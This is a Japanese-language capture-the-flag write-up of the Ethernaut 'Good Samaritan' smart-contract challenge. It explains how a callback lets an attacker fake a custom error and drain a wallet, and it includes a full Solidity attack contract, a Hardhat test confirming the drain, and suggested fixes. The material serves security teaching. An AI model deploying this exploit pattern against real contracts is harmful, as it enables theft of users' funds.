Appearance
Good Samaritan CTF 問題解析:Solidity カスタムエラーとリエントラント攻撃の巧妙な利用
問題の背景と目的
Good Samaritan は、Ethereum スマートコントラクトをベースとした CTF(Capture The Flag)チャレンジであり、OpenZeppelin の Ethernaut プラットフォームで提供されています。本問題は、Solidity のカスタムエラー処理、コントラクト間の相互作用パターン、および潜在的なセキュリティ脆弱性に対する理解を試すことを目的としています。
このチャレンジでは、「Good Samaritan(善きサマリア人)」と呼ばれるコントラクトが登場し、ウォレット(Wallet)とトークン(Coin)を保持しています。初期状態では、ウォレットは100万枚のトークンを保有しています。目的はウォレット内のすべての残高を枯渇させることです。
コントラクト構成の分析
1. コアコントラクト構造
システムは以下の3つの主要コントラクトで構成されています:
- GoodSamaritan:メインコントラクトで、
requestDonation()関数を外部に公開 - Wallet:ウォレットコントラクトで、トークンの寄付および転送を管理
- Coin:トークンコントラクトで、基本的なトークン転送機能を実装
2. 主要なコントラクト間の処理フロー
ユーザーが GoodSamaritan.requestDonation() を呼び出すと、以下の処理が行われます:
solidity
function requestDonation() external returns (bool enoughBalance) {
// 10トークンの寄付を試みる
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// 残りのすべてのトークンを送信
wallet.transferRemainder(msg.sender);
return false;
}
}
}
この関数のロジックは以下の通りです:
- まず
wallet.donate10()により10トークンの寄付を試みる NotEnoughBalanceエラーを検出した場合、wallet.transferRemainder()を呼び出して残高をすべて送信
技術的脆弱性の分析
1. カスタムエラー処理メカニズム
Solidity 0.8.4 ではカスタムエラー(Custom Errors)が導入され、よりガス効率の高い例外処理が可能になりました。本コントラクトでは以下の2つのエラーが定義されています:
solidity
// Wallet コントラクト内
error NotEnoughBalance();
// Coin コントラクト内
error InsufficientBalance(uint256 current, uint256 required);
GoodSamaritan の requestDonation() 関数は、特に NotEnoughBalance() エラーを検出するため、これが攻撃の入口となります。
2. Coin.transfer() における通知機構
Coin コントラクトの transfer() 関数には以下の特徴があります:
solidity
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// 受信コントラクトに通知
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
受信先がコントラクトの場合、notify() が呼び出されます。このコールバック機構が攻撃の鍵です。
攻撃の原理と実装
1. 攻撃戦略
攻撃の核心は Coin.transfer() の notify() コールバックを利用することです。攻撃者は以下を行います:
INotifyableインターフェースを実装した攻撃コントラクトを作成notify()内でウォレット残高を確認- 残高が0より大きい場合、
NotEnoughBalance()エラーを発生させる - これにより
requestDonation()の catch に入る - 最終的に
wallet.transferRemainder()が呼ばれ、全残高が転送される
2. 攻撃コントラクトの実装
solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "./GoodSamaritan.sol";
contract Hack is INotifyable {
error NotEnoughBalance();
GoodSamaritan private immutable target;
constructor(address _target) {
target = GoodSamaritan(_target);
}
function doHack() external {
bool r = target.requestDonation();
require(!r, "Hack fail!");
}
function notify(uint256 amount) external {
amount;
uint256 balance = target.coin().balances(address(target.wallet()));
if (balance > 0) {
revert NotEnoughBalance();
}
}
}
3. 攻撃フローの詳細
初期化:
- 攻撃コントラクトをデプロイし、対象アドレスを設定
INotifyableを実装
攻撃実行:
doHack()を呼び出すrequestDonation()を実行donate10()→coin.transfer()→notify()が呼ばれる
重要ポイント:
notify()内でエラーを発生させるrequestDonation()がそれを検出transferRemainder()が実行される
最終段階:
- 再度
notify()が呼ばれるが、この時残高は0 - エラーは発生せず、転送が完了
- 再度
テストによる検証
以下は攻撃成功を確認するテストコードです:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GoodSamaritan, Hack } from "../typechain-types";
describe("GoodSamaritan", function () {
describe("GoodSamaritan testnet online sepolia", function () {
it("testnet online sepolia GoodSamaritan", async function () {
const GoodSamaritanFactory = await ethers.getContractFactory("GoodSamaritan");
const goodSamaritan = await GoodSamaritanFactory.deploy();
await goodSamaritan.waitForDeployment();
const coinAddr = await goodSamaritan.coin();
const CoinFactory = await ethers.getContractFactory("Coin");
const coinContract = new ethers.Contract(coinAddr, CoinFactory.interface, ethers.provider);
const walletAddr = await goodSamaritan.wallet();
const WALLET_BALANCE = 10 ** 6;
const walletBalance_before = await coinContract.balances(walletAddr);
expect(walletBalance_before).to.equal(WALLET_BALANCE);
const HackFactory = await ethers.getContractFactory("Hack");
const hack = await HackFactory.deploy(await goodSamaritan.getAddress());
await hack.waitForDeployment();
const tx = await hack.doHack();
await tx.wait();
const walletBalance_after = await coinContract.balances(walletAddr);
expect(walletBalance_after).to.equal(0);
const hackBalance = await coinContract.balances(await hack.getAddress());
expect(hackBalance).to.equal(WALLET_BALANCE);
});
});
});
セキュリティ上の教訓と対策
1. 問題点
- 危険なコールバック機構:
notify()により外部コントラクトが処理を中断可能 - 過剰なエラー処理:特定エラーに対する処理が強すぎる
- リエントラント対策の欠如
2. 改善策
コールバックの制限
solidity
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
require(amount_ <= currentBalance, "Insufficient balance");
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
}
エラー処理の強化
solidity
function requestDonation() external returns (bool enoughBalance) {
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
bytes4 expected = bytes4(keccak256("NotEnoughBalance()"));
bytes4 actual = bytes4(err);
if (actual == expected) {
uint256 remaining = coin.balances(address(wallet));
if (remaining > 0) {
wallet.transferRemainder(msg.sender);
}
return false;
}
assembly {
revert(add(32, err), mload(err))
}
}
}
リエントラント防止
solidity
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GoodSamaritan is ReentrancyGuard {
function requestDonation() external nonReentrant returns (bool enoughBalance) {
}
}
まとめ
この Good Samaritan 問題は、以下の重要なポイントを示しています:
- カスタムエラーのリスク:ガス効率は良いが誤用すると脆弱性になる
- 外部コールの危険性:特にコールバックは慎重に扱う必要がある
- 堅牢なエラー処理の重要性
このチャレンジを通じて、単なるテクニックではなく、スマートコントラクト設計全体の安全性をどのように考えるべきかを学ぶことができます。